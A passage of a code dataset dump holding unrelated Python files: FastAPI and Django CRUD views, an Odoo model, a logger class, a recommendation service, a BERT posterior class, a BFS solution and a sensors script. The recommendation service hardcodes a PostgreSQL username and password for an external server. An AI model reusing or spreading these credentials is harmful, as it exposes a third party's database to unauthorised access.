get_all_clients(db_collection: AsyncIOMotorCollection = Depends(get_clients_collection)):\n db_clients = []\n async for client in db_collection.find():\n db_clients.append(map_client(client))\n return db_clients\n\n\n@client_router.get(\"/{client_id}\", response_model=Client)\nasync def get_by_id(client_id: str, db_collection: AsyncIOMotorCollection = Depends(get_clients_collection)) -> Any:\n if not ObjectId.is_valid(client_id):\n return Response(status_code=status.HTTP_400_BAD_REQUEST)\n db_student = await db_collection.find_one(get_filter(client_id))\n if db_student is None:\n return Response(status_code=status.HTTP_404_NOT_FOUND)\n return map_client(db_student)\n\n\n@client_router.delete(\"/{client_id}\")\nasync def remove_student(client_id: str,\n db_collection: AsyncIOMotorCollection = Depends(get_clients_collection)) -> Response:\n if not ObjectId.is_valid(client_id):\n return Response(status_code=status.HTTP_400_BAD_REQUEST)\n db_student = await db_collection.find_one_and_delete(get_filter(client_id))\n if db_student is None:\n return Response(status_code=status.HTTP_404_NOT_FOUND)\n return Response()\n","repo_name":"vlad8523/mai-nosql-project","sub_path":"app/router/clients_router.py","file_name":"clients_router.py","file_ext":"py","file_size_in_byte":2424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40459532617","text":"from odoo import fields, models\n\n\nclass WorkoutPlanOption(models.Model):\n \"\"\"This model workout plan option is used adding the option for the workout\n \"\"\"\n _name = \"workout.plan.option\"\n _description = \"Workout Option\"\n _order = 'id'\n\n order_id = fields.Many2one('workout.plan', 'Workout'\n ' Plan Reference',\n ondelete='cascade',\n index=True, help=\"Workout plan\")\n name = fields.Text('Description', required=True, help=\"Name\")\n exercise_id = fields.Many2one('gym.exercise', 'Exercises',\n required=True, help=\"Exercise for the plan\")\n equipment_ids = fields.Many2one('product.product',\n string='equipment', required=True,\n tracking=True, help=\"Equipment for the \"\n \"workout\",\n domain=\"[('gym_product', '!=',False)]\",)\n sets = fields.Integer(string=\"Sets\", help=\"Set\")\n repeat = fields.Integer(string=\"Repeat\", help=\"Number of repeat for cycle\")\n company_id = fields.Many2one('res.company', string='Company',\n required=True, readonly=True,\n default=lambda self: self.env.company,\n help=\"The current company\")\n","repo_name":"CybroOdoo/CybroAddons","sub_path":"gym_mgmt_system/models/workout_plan_option.py","file_name":"workout_plan_option.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":204,"dataset":"github-code","pt":"52"} +{"seq_id":"837858283","text":"from logging import CRITICAL\nfrom logging import DEBUG\nfrom logging import Formatter\nfrom logging import Logger\nfrom logging import StreamHandler\nfrom logging import WARNING\nfrom logging import addLevelName\nfrom logging import getLogger\nimport os\nfrom typing import Dict\nfrom typing import List\nfrom typing import Optional\n\nfrom colorlog import ColoredFormatter\n\nfrom delogger.decorators.base import DecoratorBase\nfrom delogger.filters.only_filter import OnlyFilter\nfrom delogger.modes.base import ModeBase\n\n\nclass DeloggerBase:\n \"\"\"A class that provides a decided logger.\n\n Args:\n name (str): Logger name\n parent (str): Log file save destination.\n *args: DeloggerSetting.\n **kwargs: DeloggerSetting.\n\n Attributes:\n _logger (logging.Logger): Logger.\n _is_new_logger (bool): Whether it is a first generation logger.\n\n \"\"\"\n\n def __init__(\n self,\n name: Optional[str] = None,\n modes: Optional[List[ModeBase]] = None,\n decorators: Optional[List[DecoratorBase]] = None,\n ) -> None:\n addLevelName(WARNING, \"WARN\")\n addLevelName(CRITICAL, \"CRIT\")\n\n # base logger\n name = name or os.getenv(\"DELOGGER_NAME\", \"delogger\")\n logger = getLogger(name)\n logger.setLevel(DEBUG)\n self._logger: Logger = logger\n\n # check already set logger\n if len(self._logger.handlers) > 0:\n # Already set logger\n self._is_new_logger = False\n else:\n # Not set logger\n self._is_new_logger = True\n\n if not self.is_already_setup():\n if modes:\n self.load_modes(*modes)\n\n if decorators:\n self.load_decorators(*decorators)\n\n def get_logger(self) -> Logger:\n if self.is_already_setup():\n return self._logger\n\n self._is_new_logger = False\n\n return self._logger\n\n def load_mode(self, mode: ModeBase) -> None:\n mode.load(delogger=self)\n\n def load_modes(self, *modes) -> None:\n for mode in modes:\n self.load_mode(mode)\n\n def load_decorator(self, decorator: DecoratorBase) -> None:\n decorator.load(delogger=self)\n\n def load_decorators(self, *decorators) -> None:\n for decorator in decorators:\n self.load_decorator(decorator)\n\n def is_already_setup(self) -> bool:\n return not self._is_new_logger\n\n def add_handler(\n self,\n hdlr,\n level: int,\n fmt: Optional[str] = None,\n datefmt: Optional[str] = None,\n only_level: bool = False,\n formatter=None,\n ) -> None:\n \"\"\"Helper function to add a handler.\n\n Args:\n hdlr: handler\n level (int): Handler level.\n fmt (str): Handler output format.\n datefmt (str): Handler output date format.\n only_level (bool): Whether to output only to specified han-\n dler level.\n formatter: Handler formatter.\n\n \"\"\"\n\n hdlr.setLevel(level)\n\n # Set formatter.\n formatter = formatter or Formatter(fmt, datefmt)\n hdlr.setFormatter(formatter)\n\n if only_level:\n hdlr.addFilter(OnlyFilter(level))\n\n self._logger.addHandler(hdlr)\n\n def add_stream_handler(self, level: int, *, hdlr=None, **kwargs) -> None:\n \"\"\"Helper function to add a stream handler.\n\n Args:\n level (int): Handler level.\n hdlr: Handler other than stream handler.\n **kwargs: Keyword argument of add_handler method\n\n \"\"\"\n\n hdlr = hdlr or StreamHandler()\n self.add_handler(hdlr, level, **kwargs)\n\n def add_stream_color_handler(\n self,\n level: int,\n log_colors: Optional[Dict[str, str]],\n *,\n hdlr=None,\n datefmt: Optional[str] = None,\n **kwargs\n ) -> None:\n \"\"\"Helper function to add a color stream handler.\n\n Args:\n level (int): Handler level.\n hdlr: Handler other than stream handler.\n **kwargs: Keyword argument of add_handler method\n\n \"\"\"\n\n formatter = ColoredFormatter(\n kwargs.get(\"fmt\", None), log_colors=log_colors, style=\"%\", datefmt=datefmt\n )\n\n hdlr = hdlr or StreamHandler()\n self.add_handler(hdlr, level, datefmt=datefmt, formatter=formatter, **kwargs)\n\n @property\n def propagate(self) -> bool:\n return self._logger.propagate\n\n @propagate.setter\n def propagate(self, is_propagate: bool) -> None:\n self._logger.propagate = is_propagate\n","repo_name":"deresmos/delogger","sub_path":"delogger/loggers/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4598,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"26499557124","text":"from cgitb import reset\nfrom http.client import HTTPResponse\nfrom django.shortcuts import render, redirect\nfrom .models import Prof, Aluno, Curso\nfrom .forms import ProfForm, AlunoForm, CursosForm\n\ndef home(request):\n return render(request,'pagina_inicial.html')\n \n#CRUD DOS PROFESSORES\ndef listar_prof(request):\n professores = Prof.objects.all()\n contexto = {\n 'todos_prof': professores\n }\n return render(request, 'lista_profs.html', contexto)\n\ndef cadastrar_prof(request):\n form = ProfForm(request. POST or None, request.FILES or None)\n \n if form.is_valid():\n form.save()\n return redirect('listar_prof')\n\n contexto = {\n 'form_prof': form\n }\n return render(request, 'cadastro_prof.html', contexto)\n\ndef editar_prof(request, id):\n professor = Prof.objects.get(pk=id)\n \n form = ProfForm(request.POST or None, request.FILES or None ,instance=professor)\n \n if form.is_valid():\n form.save()\n return redirect('listar_prof')\n \n contexto = {\n 'form_prof': form\n }\n\n return render(request, 'cadastro_prof.html', contexto)\n\ndef remover_prof(request, id):\n professor = Prof.objects.get(pk=id)\n professor.delete()\n return redirect('listar_prof')\n\n#CRUD DOS ALUNOS\ndef listar_aluno(request):\n alunos = Aluno.objects.all()\n contexto = {\n 'todos_alunos': alunos\n }\n return render(request,'cadastro_alunos.html', contexto)\n\ndef cadastrar_aluno(request):\n form = AlunoForm(request.POST or None)\n if form.is_valid():\n form.save()\n return redirect('listar_aluno')\n\n contexto = {\n 'form_aluno': form\n }\n return render(request, 'cadastrar_aluno.html', contexto)\n\ndef editar_aluno(request, id):\n aluno = Aluno.objects.get(pk=id)\n \n form = AlunoForm(request.POST or None, instance=aluno)\n\n if form.is_valid():\n form.save()\n return redirect('listar_aluno')\n\n contexto = {\n 'form_aluno': form\n }\n return render(request, 'cadastrar_aluno.html', contexto)\n\ndef remover_aluno(request,id):\n aluno = Aluno.objects.get(pk=id)\n aluno.delete()\n return redirect('listar_aluno')\n\n#CRUD CURSOS\ndef listar_cursos(request):\n cursos = Curso.objects.all()\n contexto = {\n 'todos_cursos': cursos\n }\n return render(request,'Cursos.html', contexto)\n\ndef cursos_cadastrar (request):\n form = CursosForm (request.POST or None)\n if form.is_valid():\n form.save()\n return redirect('listar_cursos')\n contexto = {\n 'form_curso': form \n }\n return render (request,'Cadastrar_Cursos.html', contexto)\n\ndef editar_curso(request, id):\n curso = Curso.objects.get(pk=id)\n \n form = CursoForm(request.POST or None, instance=curso)\n\n if form.is_valid():\n form.save()\n return redirect('listar_cursos')\n\n contexto = {\n 'form_curso': form\n }\n return render(request, 'cadastrar_Cursos.html', contexto)\n\ndef remover_curso(request,id):\n curso = Curso.objects.get(pk=id)\n curso.delete()\n return redirect('listar_cursos')","repo_name":"EmillyPoliane19/proj_cruds","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9290976238","text":"import os\nfrom catboost import CatBoostClassifier, CatBoost\nimport pandas as pd\nfrom sqlalchemy import create_engine\nfrom fastapi import FastAPI\nfrom datetime import datetime\nfrom pydantic import BaseModel\nimport pydantic\nfrom tqdm import tqdm\nfrom typing import List\nimport hashlib\n\n\n'''\nФункция для определения группы A/B теста\n'''\nSALT = \"SomeRandomSaltValue\" # соль для хеширования\nTHRESHOLD = 2**32 // 2 # пороговое значение для разбиения на группы\n\ndef get_exp_group(user_id: int) -> str:\n # Конвертировать user_id в строку и добавить соль\n input_str = str(user_id) + SALT\n \n # Получить MD5-хеш\n hashed = hashlib.md5(input_str.encode()).hexdigest()\n \n # Преобразовать первые 8 символов хеша (это 32 бита) в число\n int_value = int(hashed[:8], 16)\n \n # Определить группу на основе полученного числа\n if int_value < THRESHOLD:\n return \"control\"\n else:\n return \"test\"\n\n\n\n'''\nФУНКЦИИ ПО ЗАГРУЗКЕ МОДЕЛЕЙ\n'''\n# Проверка если код выполняется в лмс, или локально\ndef get_model_path(model_name: str) -> str:\n \"\"\"Просьба не менять этот код\"\"\"\n if model_name not in [\"test\", \"control\"]:\n raise ValueError(\"model_name should be either 'test' or 'control'\")\n \n if os.environ.get(\"IS_LMS\") == \"1\":\n return f'/workdir/user_input/model_{model_name}'\n else:\n # Это ваш локальный путь к моделям\n paths = {\n \"test\": \"/Users/ilya/Desktop/GitHub_Repositories/DataSets/DataSets for Final Project/catboost_model_data10_best_hitrate.cbm\",\n \"control\": \"/Users/ilya/Desktop/GitHub_Repositories/DataSets/DataSets for Final Project/catboost_model_data10_lower_hitrate.cbm\"\n }\n return paths[model_name]\n\n\nclass CatBoostWrapper(CatBoost):\n def predict_proba(self, X):\n return self.predict(X, prediction_type='Probability')\n\n# Загрузка модели\ndef load_model(model_name: str):\n \"\"\"\n Загрузка одной из моделей: тестовой или контрольной\n \"\"\"\n model_path = get_model_path(model_name)\n \n model = CatBoostWrapper()\n model.load_model(model_path)\n \n return model\n\n\n\n'''\nПолучение данных из базы данных\n'''\n# Определяем функцию для получения данных из базы данных PostgreSQL\ndef batch_load_sql(query: str) -> pd.DataFrame:\n CHUNKSIZE = 200000\n total_rows_for_5_percent = 3844565\n # total_rows_for_10_percent = 7689263 # total number of rows in your dataset\n\n engine = create_engine(\n \"postgresql://robot-startml-ro:pheiph0hahj1Vaif@\"\n \"postgres.lab.karpov.courses:6432/startml\"\n )\n conn = engine.connect().execution_options(stream_results=True)\n\n chunks = []\n with tqdm(total=total_rows_for_5_percent, desc=\"Loading data\") as pbar:\n for chunk_dataframe in pd.read_sql(query, conn, chunksize=CHUNKSIZE):\n chunks.append(chunk_dataframe)\n pbar.update(CHUNKSIZE)\n\n conn.close()\n\n return pd.concat(chunks, ignore_index=True)\n\ndef load_features() -> pd.DataFrame:\n query = \"ilia_svetlichnyi_features_lesson_22_5_percent\"\n return batch_load_sql(query)\n\n\n\ndef predict_posts(user_id: int, chosen_model, limit: int):\n # Фильтруем записи, относящиеся к конкретному user_id\n user_features = features[features.user_id == user_id]\n\n # Вычисляем вероятности для каждого post_id для конкретного user_id\n user_features['probas'] = chosen_model.predict_proba(user_features.drop('user_id', axis=1))[:, 1]\n\n # Сортируем DataFrame по 'probas' в порядке убывания и получаем первые 'limit' записей\n top_posts = user_features.sort_values('probas', ascending=False).iloc[:limit]\n\n # Возвращаем 'post_id' лучших записей в виде списка\n return top_posts['post_id'].tolist()\n\n\ndef load_post_texts_df():\n global post_texts_df\n print(\"Загружаю все тексты постов...\")\n query = \"SELECT * FROM post_text_df\"\n engine = create_engine(\n \"postgresql://robot-startml-ro:pheiph0hahj1Vaif@\"\n \"postgres.lab.karpov.courses:6432/startml\"\n )\n post_texts_df = pd.read_sql(query, con=engine)\n print(\"Все тексты постов успешно загружены в память.\")\n\n\ndef load_post_texts(post_ids: List[int]) -> List[dict]:\n global post_texts_df\n if post_texts_df is None:\n raise ValueError(\"Таблица с текстами постов не загружена. Сначала вызовите функцию load_post_texts_df().\")\n\n # Извлекаем записи из памяти\n records_df = post_texts_df[post_texts_df['post_id'].isin(post_ids)]\n return records_df.to_dict(\"records\")\n\n\n'''\nЗАГРУЗКА МОДЕЛЕЙ И ФИЧЕЙ (БЕЗ ПОТОКОВ)\n'''\n\n\nfeatures = load_features()\nprint(\"Данные загружены\")\n# Глобальная переменная для хранения данных\npost_texts_df = None\nload_post_texts_df()\n\n\n'''\nFASTAPI\n'''\nclass PostGet(BaseModel):\n id: int\n text: str\n topic: str\n\n class Config:\n orm_mode = True\n\nclass Response(BaseModel):\n exp_group: str\n recommendations: List[PostGet]\n\n\napp = FastAPI()\n\n@app.get(\"/post/recommendations/\", response_model=Response)\ndef recommended_posts(\n user_id: int,\n time: datetime,\n limit: int = 5\n) -> Response:\n \n # Определение группы для данного пользователя\n exp_group = get_exp_group(user_id)\n \n # Выбор модели в зависимости от группы\n chosen_model = load_model(exp_group)\n \n # Тут идет ваш код для предсказания, используя chosen_model\n post_ids = predict_posts(user_id, chosen_model, limit)\n \n # Загрузка текстов постов\n records = load_post_texts(post_ids)\n\n # Создание списка рекомендованных постов\n posts = []\n for rec in records:\n rec[\"id\"] = rec.pop(\"post_id\")\n try:\n posts.append(PostGet(**rec))\n except pydantic.error_wrappers.ValidationError as e:\n print(f\"Validation error for record {rec}: {e}\")\n \n # Возвращаем список рекомендаций с указанием группы\n return Response(exp_group=exp_group, recommendations=posts)\n","repo_name":"Alexey3250/AB-test","sub_path":"ilia/service_reduced.py","file_name":"service_reduced.py","file_ext":"py","file_size_in_byte":6906,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36892657359","text":"import sys,os\nsys.path.append(\"..\")\nimport torch\nimport numpy as np\nfrom typing import List,Tuple\nimport math\nfrom util.utility import softmax,get_most_likely_sentence,get_full_word_dict,get_most_likely_sentence_multidics,analayze_list_structure\nfrom pytorch_pretrained_bert import BertTokenizer, BertForMaskedLM, OpenAIGPTTokenizer, OpenAIGPTModel, OpenAIGPTLMHeadModel\nfrom context_bert.probabilistic_bert import my_BertForMaskedLM\nimport logging\nfrom tqdm import tqdm,trange\nfrom copy import deepcopy\n\nclass BertPosterior():\n def __init__(self):\n self.tokenizer = BertTokenizer.from_pretrained('bert-large-uncased')\n\n print(\"Loading BERT\")\n self.probmodel = my_BertForMaskedLM.from_pretrained('bert-large-uncased')\n self.probmodel.eval()\n print(\"Done Loading BERT\")\n self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n self.probmodel = self.probmodel.to(self.device)\n self.probmodel.bert.device = self.device\n self.probmodel.bert.embeddings.device = self.device\n # Load pre-trained model tokenizer (vocabulary)\n self.gpt = None\n self.gpt_tokenizer = OpenAIGPTTokenizer.from_pretrained('openai-gpt')\n\n self.word_dic = get_full_word_dict()\n self.bert_dic = [self.tokenizer.vocab[x] for x in self.word_dic]\n\n self.mask_tensor = torch.zeros(len(self.tokenizer.vocab))\n self.mask_tensor[self.tokenizer.vocab[\"[MASK]\"]]=1\n\n self.top_n = 4\n self.bert_theta = 0.25\n self.gpt_theta = 0.005\n self.hyperparams = [\"top_n\",\"bert_theta\",\"gpt_theta\"]\n\n def load_gtp(self):\n if self.gpt is None:\n print(\"loading gpt\")\n self.gpt = OpenAIGPTLMHeadModel.from_pretrained('openai-gpt')\n self.gpt.eval()\n print(\"Done loading gpt\")\n\n def set_hyperparams(self,**kwargs):\n if \"top_n\" in kwargs:\n self.top_n = kwargs[\"top_n\"]\n if \"bert_theta\" in kwargs:\n self.bert_theta = kwargs[\"bert_theta\"]\n if \"gpt_theta\" in kwargs:\n self.gpt_theta = kwargs[\"gpt_theta\"]\n\n def convert_prior_to_weights_tensor_hypothesis(self,prior,dicts):\n weights_tensor = torch.zeros((len(prior)+2,len(self.tokenizer.vocab)))\n weights_tensor[0][self.tokenizer.vocab[\"[CLS]\"]]=1\n weights_tensor[len(prior)+1][self.tokenizer.vocab[\"[SEP]\"]]=1\n for i,p in enumerate(prior):\n top_indices = np.flip(np.argsort(p))[:self.top_n]\n mysum = np.sum(p[top_indices])\n for j in top_indices:\n weights_tensor[i+1][dicts[i][j]] = p[j]/mysum\n return weights_tensor\n\n def calc_probabilistic_likelihood_hypothesis(self,weights_tensor,mask_id,dictionary):\n inner_tensor = weights_tensor.clone().reshape((1,weights_tensor.size(0),weights_tensor.size(1)))\n inner_tensor[0][mask_id] = self.mask_tensor\n inner_tensor = inner_tensor.to(self.device)\n predictions = self.probmodel(inner_tensor)\n preds = predictions[0, mask_id].cpu().numpy()\n return softmax(np.array([preds[dictionary[i]] for i in range(len(dictionary))]),theta=self.bert_theta)\n\n def showprobs_hypothesis(self,probs,word_dic,amount=20):\n inds = np.flip(np.argsort(probs))\n return [[word_dic[inds[i]],probs[inds[i]]] if len(inds)>i else [] for i in range(amount)]\n\n def bert_posterior_for_hypothesis(self,prior,word_dics,iterations_left,alreadys=None,orig_prior=None,bert_dics=None,verbose=False):\n \"\"\" Improve sentence prediction via BERT.\n :param prior: list of numpy arrays that represent probability distributions over words for the respective word_dic/bert_dic\n :param word_dics: list of lists that each contain word strings. Aligned with prior.\n :param iterations_left: number of how many iterations are left\n :param alreadys: how many time was each word aready improved. List of integers.\n :param orig_prior: A copy of the original prior.\n :param bert_dics: list of lists, that each contain the bert-index of words. Alligned with prior and word_dics\n :param verbose: Print out info about each replacement and masking.\n :returns: A probability distibution in the same shape and form of the prior parameter.\n \"\"\"\n if iterations_left <= 0:\n return prior\n if alreadys is None:\n alreadys = np.zeros(len(prior))\n if bert_dics is None:\n bert_dics = [[self.tokenizer.vocab[word] for word in word_dic] for word_dic in word_dics]\n mask_id = self.get_most_uncertain_index(prior,alreadys)+1\n if mask_id is None:\n return prior\n alreadys[mask_id-1] += 1\n with torch.no_grad():\n if len(word_dics[-1][np.argmax(prior[-1])])>1:\n weights_tensor = self.convert_prior_to_weights_tensor_hypothesis(prior+[np.array([1])],bert_dics+[[self.tokenizer.vocab[\".\"]]])\n else:\n weights_tensor = self.convert_prior_to_weights_tensor_hypothesis(prior,bert_dics)\n likelihood = self.calc_probabilistic_likelihood_hypothesis(weights_tensor,mask_id,bert_dics[mask_id-1])\n if orig_prior is None:\n numerator = prior[mask_id-1] * likelihood\n else:\n numerator = orig_prior[mask_id-1] * likelihood\n prior[mask_id-1] = numerator/np.sum(numerator)\n if verbose:\n print(\"masked\",mask_id-1)\n print(\"likelihood\",self.showprobs_hypothesis(likelihood,word_dics[mask_id-1],10))\n print(\"posterior\",self.showprobs_hypothesis(prior[mask_id-1],word_dics[mask_id-1],10))\n #print(\"posterior\",get_most_likely_sentence_multidics(prior,word_dics))\n return self.bert_posterior_for_hypothesis(prior,word_dics,iterations_left-1,alreadys,orig_prior,bert_dics,verbose)\n\n def gpt_score_sentence(self,sentence):\n with torch.no_grad():\n tokenize_input = self.gpt_tokenizer.tokenize(sentence)\n tensor_input = torch.tensor([self.gpt_tokenizer.convert_tokens_to_ids(tokenize_input)])\n loss=self.gpt(tensor_input, lm_labels=tensor_input)\n return -math.exp(loss)\n\n def gpt_hypothesis(self,hypothesis,verbose=False):\n self.load_gtp()\n probs,sentences = zip(*hypothesis)\n likelihood = softmax(np.array([self.gpt_score_sentence(sentence) for sentence in sentences]),theta=self.gpt_theta)\n priors = np.array(probs)\n posterior = priors * likelihood\n posterior /= sum(posterior)\n if verbose:\n print(f\"hypothesis prior probabilities: {probs}. Likelihood: {likelihood}. Posterior: {posterior}\")\n hyps = list(zip(posterior,sentences))\n hyps.sort(reverse=True)\n return hyps\n\n def get_most_uncertain_index(self,prior,alreadys):\n my_min = np.inf\n lowest = None\n\n for i,p in enumerate(prior):\n if len(p)<2:\n continue\n s = np.partition(-p,1)\n diff = s[1]-s[0]\n if diff == 1 or s[0]==0:\n diff = 100\n if diff+alreadys[i] Tuple[torch.Tensor,int]:\n \"\"\" Create the weights tensor to then put into BERT.\n :param prior: list of numpy arrays that represent probability distributions over words for the respective word_dic/bert_dic\n :param word_dics: list of lists that each contain word strings. Aligned with prior.\n :param alreadys: how many time was each word aready improved. List of integers.\n :param bert_dics: list of lists, that each contain the bert-index of words. Alligned with prior and word_dics\n :returns: A attention tensor signaling the parts of the resulting tensor that are actuall tokens,\n a tensor containing the weighted word embeddings (by prior) and the id of the masked word.\n \"\"\"\n mask_id = self.get_most_uncertain_index(prior,alreadys)+1\n if mask_id is None:\n return prior\n alreadys[mask_id-1] += 1\n if len(word_dics[-1][np.argmax(prior[-1])])>1:\n attention_mask,weights_tensor = self.convert_prior_to_weights_tensor_pad(prior+[np.array([1])],bert_dics+[[self.tokenizer.vocab[\".\"]]],max_prior_len)\n else:\n attention_mask,weights_tensor = self.convert_prior_to_weights_tensor_pad(prior,bert_dics,max_prior_len)\n return attention_mask,weights_tensor,mask_id\n\n def convert_prior_to_weights_tensor_pad(self,prior,dicts,max_prior_len):\n weights_tensor = torch.zeros((max_prior_len+2,len(self.tokenizer.vocab)))\n attention_mask = torch.cat((torch.ones(len(prior)+2),torch.zeros(max_prior_len-len(prior))))\n weights_tensor[0][self.tokenizer.vocab[\"[CLS]\"]]=1\n weights_tensor[len(prior)+1][self.tokenizer.vocab[\"[SEP]\"]]=1\n for i,p in enumerate(prior):\n top_indices = np.flip(np.argsort(p))[:self.top_n]\n mysum = np.sum(p[top_indices])\n for j in top_indices:\n weights_tensor[i+1][dicts[i][j]] = p[j]/mysum\n return attention_mask,weights_tensor\n\n def batch_bert_posterior(self,priors_hypform:List[List[Tuple[float,List[Tuple[np.ndarray,List[str]]]]]],batch_size:int=64) -> List[List[Tuple[float,List[Tuple[np.ndarray,List[str]]]]]]:\n print(analayze_list_structure(priors_hypform))\n priors_nd_word_dics = sum([[content for prob,content in hyps] for hyps in priors_hypform],[])\n priors:List[List[np.ndarray]] = [[x[0] for x in hyp] for hyp in priors_nd_word_dics]\n all_word_dics:List[List[List[str]]] = [[x[1] for x in hyp] for hyp in priors_nd_word_dics]\n #priors,all_word_dics = zip(*priors_nd_word_dics)\n orig_priors = [x.copy() for x in priors]\n all_alreadys = [np.zeros(len(prior)) for prior in priors]\n all_bert_dics:List[List[List[int]]] = [[[self.tokenizer.vocab[word] for word in word_dic] for word_dic in word_dics] for word_dics in all_word_dics]\n with torch.no_grad():\n for i in trange(30):\n likelihoods = []\n all_mask_ids = []\n for i in range(0,len(priors),batch_size):\n weights_tensors = []\n attention_masks = []\n mask_ids = []\n priors_part = priors[i:i+batch_size]\n max_prior_len = max(len(x) for x in priors_part)+1\n for prior,alreadys,word_dics,bert_dics in zip(priors_part,all_alreadys[i:i+batch_size],all_word_dics[i:i+batch_size],all_bert_dics[i:i+batch_size]):\n attention_mask,weights_tensor,mask_id = self.get_weights_tensor(prior,word_dics,alreadys=alreadys,bert_dics=bert_dics,max_prior_len=max_prior_len)\n weights_tensors.append(weights_tensor)\n attention_masks.append(attention_mask)\n mask_ids.append(mask_id)\n all_mask_ids.extend(mask_ids)\n likelihoods.extend(self.calc_likelihood_batch(attention_masks,weights_tensors,mask_ids,all_bert_dics[i:i+batch_size]))\n for prior,orig_prior,likelihood,mask_id in zip(priors,orig_priors,likelihoods,all_mask_ids):\n numerator = orig_prior[mask_id-1] * likelihood\n prior[mask_id-1] = numerator/np.sum(numerator)\n hyped_posterior = []\n count = 0\n for hyp in priors_hypform:\n hyp_block = []\n for prob,content in hyp:\n hyp_block.append((prob,get_most_likely_sentence_multidics(priors[count],all_word_dics[count])))\n count+=1\n hyped_posterior.append(hyp_block)\n return hyped_posterior\n\nif __name__==\"__main__\":\n bp = BertPosterior()\n #bp.load_gtp()\n #print(bp.gpt_score_sentence(sys.argv[1]))\n print(softmax(np.array([-330,-1175]),bp.gpt_theta))","repo_name":"yannikkellerde/BERT-Defense","sub_path":"bayesian_shielding/context_bert/bert_posterior.py","file_name":"bert_posterior.py","file_ext":"py","file_size_in_byte":12920,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"52"} +{"seq_id":"27102534164","text":"from collections import deque\n\ndef solution(n, wires):\n global graph\n \n graph = [[] for _ in range(n + 1)]\n ans = n\n \n for a, b in wires:\n graph[a].append(b)\n graph[b].append(a)\n \n for a, b in wires:\n ans = min(ans, abs(2 * bfs(a, b) - n))\n \n return ans\n\ndef bfs(start, end):\n list = [start]\n q = deque([])\n \n for i in graph[start]:\n if i != end:\n list.append(i)\n q.append(i)\n \n while q:\n for i in graph[q.popleft()]:\n if i not in list:\n list.append(i)\n q.append(i)\n \n return len(list)","repo_name":"khcho226/MyPractice","sub_path":"프로그래머스/lv2/86971. 전력망을 둘로 나누기/전력망을 둘로 나누기.py","file_name":"전력망을 둘로 나누기.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18056723131","text":"#!/usr/bin/env python3\n\nimport argparse\nimport subprocess\nimport typing\nimport json\n\n\nclass Data:\n def __init__(self, args):\n self.args = args\n self.text = []\n\n def message_print(self, current_temp: float, max_temp: float):\n is_hot = current_temp > max_temp\n text = '{0:.1f}'.format(current_temp)\n bg = self.args.hot_bg if is_hot else self.args.base_bg\n fg = self.args.hot_color if is_hot else self.args.base_color\n self.text.append(\"{2}\".format(bg, fg, text))\n \n def message_debug(self, current_temp: float, max_temp: float):\n is_hot = current_temp > max_temp\n self.text.append(\"{0:.1f} / {1:.1f} => {2}\".format(current_temp, max_temp, is_hot))\n\n def message(self, current_temp: float, max_temp: float):\n if self.args.debug:\n self.message_debug(current_temp, max_temp)\n else:\n self.message_print(current_temp, max_temp)\n\n\ndef print_temp_please(data: Data, temp_id, struct):\n temp = struct['temp{}_input'.format(temp_id)]\n def var(n):\n name = 'temp{}_{}'.format(temp_id, n)\n if name in struct:\n return struct[name]\n else:\n return -1\n all_max_temps = [var('crit'), var('crit_hyst'), var('max'), var('crit_alarm')]\n # some temps are as low as 5\n max_temps = [t for t in all_max_temps if t > 10]\n if len(max_temps) > 0:\n max_temp = min(max_temps)\n data.message(temp, max_temp)\n else:\n data.message(temp, temp+1)\n\n\ndef print_temp(data: Data, struct):\n for i in range(1, 9):\n if 'temp{}_input'.format(i) in struct:\n print_temp_please(data, i, struct)\n return\n if data.args.debug:\n print('error in print_temp')\n\n\ndef print_adapter(data: Data, name: str, adapter):\n printed = 0\n for i in range(1, 100):\n name = 'temp{}'.format(i)\n if name not in adapter:\n break\n printed += 1\n print_temp(data, adapter[name])\n\n for i in range(0, 100):\n name = 'Core {}'.format(i)\n if name not in adapter:\n break\n printed += 1\n print_temp(data, adapter[name])\n\n if printed == 0:\n if data.args.debug:\n print('error')\n\n\ndef handle_print(args):\n data = Data(args)\n source = subprocess.check_output(['sensors', '-j'], encoding='UTF-8')\n sensor_data = json.loads(source)\n for key in sensor_data:\n print_adapter(data, key, sensor_data[key])\n\n if args.debug:\n print('\\n'.join(data.text))\n else:\n print(' '.join(data.text))\n\n\ndef main():\n parser = argparse.ArgumentParser(description='sensors script')\n sub_parsers = parser.add_subparsers(dest='command_name', title='Commands', metavar='')\n\n sub = sub_parsers.add_parser('print', help='Copy files to HOME')\n sub.add_argument(\n '-B',\n '--base_bg',\n default='white',\n help='base background of the output'\n )\n sub.add_argument(\n '-U',\n '--hot_bg',\n default='red',\n help='color of the background, when updates are available(default=white)'\n )\n sub.add_argument(\n '-b',\n '--base_color',\n default='black',\n help='base color of the text'\n )\n sub.add_argument(\n '-u',\n '--hot_color',\n default='white',\n help='color of the text, when updates are available'\n )\n sub.add_argument('-d', '--debug', action='store_true',\n help='add debugability to the command')\n sub.set_defaults(func=handle_print)\n\n args = parser.parse_args()\n\n if args.command_name is not None:\n args.func(args)\n else:\n parser.print_help()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"madeso/dotfiles","sub_path":"i3blocks-scripts/sensors.py","file_name":"sensors.py","file_ext":"py","file_size_in_byte":3788,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"15681375032","text":"import cv2\n# import numpy as np\n\nprint(cv2.useOptimized())\ne1 = cv2.getTickCount()\n\n\ndef main():\n cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)\n if cap.isOpened():\n ret, frame = cap.read()\n else:\n ret = False\n e3 = cv2.getTickCount()\n while ret:\n c1 = cv2.getTickCount()\n ret, frame = cap.read()\n output = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n 